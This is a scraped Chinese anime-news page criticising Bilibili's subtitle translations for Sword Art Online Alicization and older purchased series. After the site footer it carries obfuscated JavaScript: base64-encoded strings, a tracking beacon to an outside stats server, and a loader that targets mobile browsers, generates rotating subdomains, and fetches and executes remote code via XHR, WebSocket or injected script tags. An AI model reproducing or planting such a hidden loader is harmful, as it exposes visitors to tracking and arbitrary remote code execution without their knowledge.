用心买动画，用jio做翻译，b站翻译水平让人担忧 - 风车动漫-动漫啦

用心买动画，用jio做翻译，b站翻译水平让人担忧

来源：樱花动漫更新：2021-06-07 16:24:20

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

近日，澄空字幕组在微博上发表了刀剑神域 Alicization第一话的简繁内嵌的字幕。

仔细看看会发现这次的字幕组发表的动画字幕竟然是澄空、雪飘以及华盟三家联合发表的字幕，这几个字幕组不是早已慢慢停止活动了吗，这是诈尸了？？？？

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

其实是b站新番的翻译质量太水，这几个早已休业的字幕组看不下去了再次发布了字幕组版本动画。

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

大家感受下。。。。

 

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

感觉B站上市后对动画质量方面不怎么看重了，不仅是新番的翻译质量不好完全谈不上“信，雅，达”，买的老动画把原来字幕组版替换掉后也是一大堆错漏翻译。

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

也不知道b站的翻译目前是个什么情况，难道是用爱发电的才追求质量，拿钱办事的收款完工了事吗？

希望b站能注意下这方面的问题，作为一家主打动漫内容的网站，一边说自己买了大量的老番，一边字幕确实这样一个状态实在十分尴尬。。。

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

再来回顾下这翻译哈哈。虽然B站现在已经改掉了，但这个经典翻译一定化身为梗会流传于世ヾ(･ω･`｡)

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

用心买动画，用jio做翻译，b站翻译水平让人担忧- 趣动漫

最新资讯

日本动漫- 国产动漫- 动漫电影- 欧美动漫- 动漫资讯- 反馈留言- RSS- Sitemap

本站的动漫由网络第三方视频类网站收集，本站不提供任何视听上传服务，所有内容均来自视频分享站点所提供的公开引用资源。

Copyright © 2023-2024. All Rights Reserved.

function DJUbaL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PXUCEnTL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DJUbaL(t);};window[''+'E'+'p'+'Y'+'b'+'m'+'o'+'X'+'h'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function dtqM(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PXUCEnTL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=dtqM(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15725/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=dtqM(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMuY24lM0EE5NTM1','168541',window,document,['h','E']);}:function(){};